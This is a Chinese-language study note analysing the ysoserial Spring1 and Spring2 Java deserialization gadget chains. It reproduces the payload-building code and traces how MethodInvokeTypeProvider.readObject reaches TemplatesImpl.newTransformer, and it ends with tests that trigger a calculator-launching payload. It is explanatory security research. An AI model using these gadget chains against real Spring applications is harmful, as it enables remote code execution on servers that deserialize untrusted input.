Java 反序列化 ysoserial Spring

- 10 mins

简介

Java 反序列化 ysoserial Spring1.javaSpring2.java payload 学习笔记

知识点

以下是两个 payload 中涉及到的知识点:

Spring1

payload 生成代码如下

public Object getObject(final String command) throws Exception {
    // 使用 TemplatesImpl 存储恶意字节码
    final Object templates = Gadgets.createTemplatesImpl(command);
    // 使用 AnnotationInvocationHandler 创建 ObjectFactory 接口的动态代理
    // 并且调用 objectFactoryProxy 的 getObject() 方法会返回 templates 对象
    final ObjectFactory objectFactoryProxy =
        Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
    // 使用 ObjectFactoryDelegatingInvocationHandler 代理 Type 和 Templates 接口,返回值类型为 Type 
    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
                                                        Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                                                        .newInstance(objectFactoryProxy), Type.class, Templates.class);
    // 使用 AnnotationInvocationHandler 创建 TypeProvider 接口的动态代理
    // 并且调用 typeProviderProxy 的 getType() 方法会返回 typeTemplatesProxy 对象
    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
    // 创建最终反序列化对象 MethodInvokeTypeProvider
    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    // 实例化,构造方法中,会将 provider 属性的值设置为 typeProviderProxy
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    // 设置 methodName 属性的值为 newTransformer
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}

来看一下 MethodInvokeTypeProvider 类的 readObject() 方法

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
    inputStream.defaultReadObject();
    // methodName 的值为 newTransformer
    // this.provider 为代理对象,即 typeProviderProxy
    Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
    // 反射调用 this.provider 的 newTransformer 方法
    this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}

因为 this.providertypeProviderProxy 是代理对象,因此调用 getType() 方法,会调用关联 InvocationHanlderinvoke() 方法,根据 知识点 中提到的 AnnotationInvocationHandler 可以指定方法返回值的特性,这里会返回 typeTemplatesProxy ,接着调用其 getClass() 方法,反射查找 newTransformer 方法

下一步会反射调用 typeTemplatesProxynewTransformer 方法,因为 typeTemplatesProxy 也是一个代理对象,因此会调用 ObjectFactoryDelegatingInvocationHandlerinovke() 方法,其代码如下

private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {

    private final ObjectFactory<?> objectFactory;

    public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
        this.objectFactory = objectFactory;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        String methodName = method.getName();
        if (methodName.equals("equals")) {
            return (proxy == args[0]);
        }
        else if (methodName.equals("hashCode")) {
            return System.identityHashCode(proxy);
        }
        else if (methodName.equals("toString")) {
            return this.objectFactory.toString();
        }
        try {
            // 最终执行代码
            return method.invoke(this.objectFactory.getObject(), args);
        }
        catch (InvocationTargetException ex) {
            throw ex.getTargetException();
        }
    }
}

根据代码可以得知,最终会执行到

return method.invoke(this.objectFactory.getObject(), args); 

那么这里的objectFactory 的值是什么?

根据 payload 中的生成代码

final Object templates = Gadgets.createTemplatesImpl(command);

final ObjectFactory objectFactoryProxy =
        Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

值为 objectFactoryProxy ,也是一个代理对象,根据 AnnotationInvocationHandler 的特性,objectFactory.getObject() 的返回值为 templates,即最终调用的是 TemplatesImplnewTransformer() 方法,触发恶意代码执行

整理一下关系

精简的 Gadget chain 如下

SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
    SerializableTypeWrapper.TypeProvider(Proxy).getType()
      AnnotationInvocationHandler.invoke()                      
    SerializableTypeWrapper.TypeProvider(Proxy).getType()
      AnnotationInvocationHandler.invoke()
    ReflectionUtils.invokeMethod()
      Templates(Proxy).newTransformer()
        AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
          ObjectFactory(Proxy).getObject()
            AnnotationInvocationHandler.invoke()
          TemplatesImpl.newTransformer()

Spring2

payload 生成代码如下

public Object getObject ( final String command ) throws Exception {

    final Object templates = Gadgets.createTemplatesImpl(command);
    // 将 AdvisedSupport 的 target 属性值设置为 templates
    // AdvisedSupport 是 Spring AOP 的代理配置 managaer
    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));
    // 使用 JdkDynamicAopProxy(实现了InvocationHandler接口) 来创建 Type 和 Templates 接口的动态代理
    // JdkDynamicAopProxy 的 advised 属性值为 as
    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}

Spring2 和 Spring1 的反序列化过程大致相似,唯一不同的在于,这里使用了 AOP 包中另一个 ` InvocationHandler - JdkDynamicAopProxy 来创建 typeTemplatesProxy,来看一下它的 invoke()` 方法,精简后如下

final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
    ...
        private final AdvisedSupport advised;
    ...

        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        MethodInvocation invocation;
        Object oldProxy = null;
        boolean setProxyContext = false;

        TargetSource targetSource = this.advised.targetSource;
        Class<?> targetClass = null;
        Object target = null;

        try {
            ....

                target = targetSource.getTarget();
            if (target != null) {
                targetClass = target.getClass();
            }

            List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

            if (chain.isEmpty()) {
                // 调用 target 的 method 方法
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
            }
            else {
                ....
            }

            ...
                return retVal;
        }
        finally {
            ....
        }
    }
}

经过一系列判断,最后会在 this.advised.targetSource.getTarget() 对象上调用 method,根据 paylaod 生成代码,这里的 target 为 TemplatesImpl,method 为 newTransformer,最终触发恶意代码执行

测试

@Test
public void testSpring1() throws Exception {
    // mkdir -p /tmp/ysoserial
    // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "open /Applications/Calculator.app" > /tmp/ysoserial/spring1.class
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/ysoserial/spring1.class")));
    ois.readObject();
}

@Test
public void testSpring2() throws Exception {
    // mkdir -p /tmp/ysoserial
    // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring2 "open /Applications/Calculator.app" > /tmp/ysoserial/spring2.class
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/ysoserial/spring2.class")));
    ois.readObject();
}
b1ngz
rss facebook twitter github weibo youtube mail spotify instagram linkedin google pinterest medium vimeo